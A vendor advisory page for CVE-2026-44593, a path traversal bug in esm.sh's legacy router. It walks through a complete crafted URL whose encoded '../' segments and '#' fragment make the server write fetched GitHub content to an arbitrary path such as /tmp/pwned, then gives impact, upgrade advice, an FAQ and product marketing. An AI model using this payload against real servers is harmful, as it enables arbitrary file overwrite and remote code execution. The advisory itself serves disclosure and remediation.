CVE-2026-44593

CVE-2026-44593 is a high-severity path traversal vulnerability in github.com/esm-dev/esm.sh (go), affecting versions < 0.0.0-20260508100112-1960055e1d53. It is fixed in 0.0.0-20260508100112-1960055e1d53.

Summary

Exploit

The legacy router first retrieves a response from legacyServer, parses the incoming request path, and ultimately writes the data to storage via buildStorage.Put
(see https://github.com/esm-dev/esm.sh/blob/4312ae93e518121e764a18bb521af12e490ef137/server/legacy_router.go#L291).

For a URL such as:

http://ESM_SH_HOST/v111/[email protected]/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned

the router concatenates the path components without sanitizing them, producing a storage key like:

legacy/v111/[email protected]/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned

When this key is used, the underlying file system resolves the relative segments and writes the file to /tmp/pwned. Thus an attacker can craft a request that writes data to arbitrary locations on the server.

Details

  1. URL Construction
    A crafted request is sent to the server:

    http://ESM_SH_HOST/v111/[email protected]/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned
    
  2. Proxy to Legacy Server
    The request is forwarded to:

    http://legacy.esm.sh/v111/[email protected]/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../tmp/pwned
    

    which resolves to:

    http://legacy.esm.sh/gh/<attacker>/exp@1171e85d5d/foo.md
    
  3. File Retrieval
    The server fetches foo.md from the GitHub repository https://github.com/<attacker>/exp.

  4. Path Normalisation & Storage
    The storage path derived from the request is:

    legacy/v111/[email protected]/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned
    

    Normalising this path yields /tmp/pwned. The retrieved file content is then written to that location.

  5. Result
    By repeating this pattern, an attacker can overwrite arbitrary binaries or scripts on the server, paving the way for remote code execution.

Credit Discovery To

splitline (@_splitline_) from DEVCORE Research Team

Impact

  • Arbitrary File Write, An attacker can cause the server to write data to any file path it has write permission for.
  • Privilege Escalation / RCE, By overwriting critical binaries or scripts, the attacker can execute arbitrary code with the server’s privileges.

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

Affected versions

github.com/esm-dev/esm.sh (< 0.0.0-20260508100112-1960055e1d53)

Security releases

github.com/esm-dev/esm.sh → 0.0.0-20260508100112-1960055e1d53 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Upgrade github.com/esm-dev/esm.sh to 0.0.0-20260508100112-1960055e1d53 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-44593? CVE-2026-44593 is a high-severity path traversal vulnerability in github.com/esm-dev/esm.sh (go), affecting versions < 0.0.0-20260508100112-1960055e1d53. It is fixed in 0.0.0-20260508100112-1960055e1d53. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
  2. Which versions of github.com/esm-dev/esm.sh are affected by CVE-2026-44593? github.com/esm-dev/esm.sh (go) versions < 0.0.0-20260508100112-1960055e1d53 is affected.
  3. Is there a fix for CVE-2026-44593? Yes. CVE-2026-44593 is fixed in 0.0.0-20260508100112-1960055e1d53. Upgrade to this version or later.
  4. Is CVE-2026-44593 exploitable, and should I be worried? Whether CVE-2026-44593 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether CVE-2026-44593 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix CVE-2026-44593? Upgrade github.com/esm-dev/esm.sh to 0.0.0-20260508100112-1960055e1d53 or later.

Other vulnerabilities in github.com/esm-dev/esm.sh

CVE-2026-44594CVE-2026-44593CVE-2026-27730CVE-2025-50180CVE-2026-23644

Stop the waste.
Protect your environment with Kodem.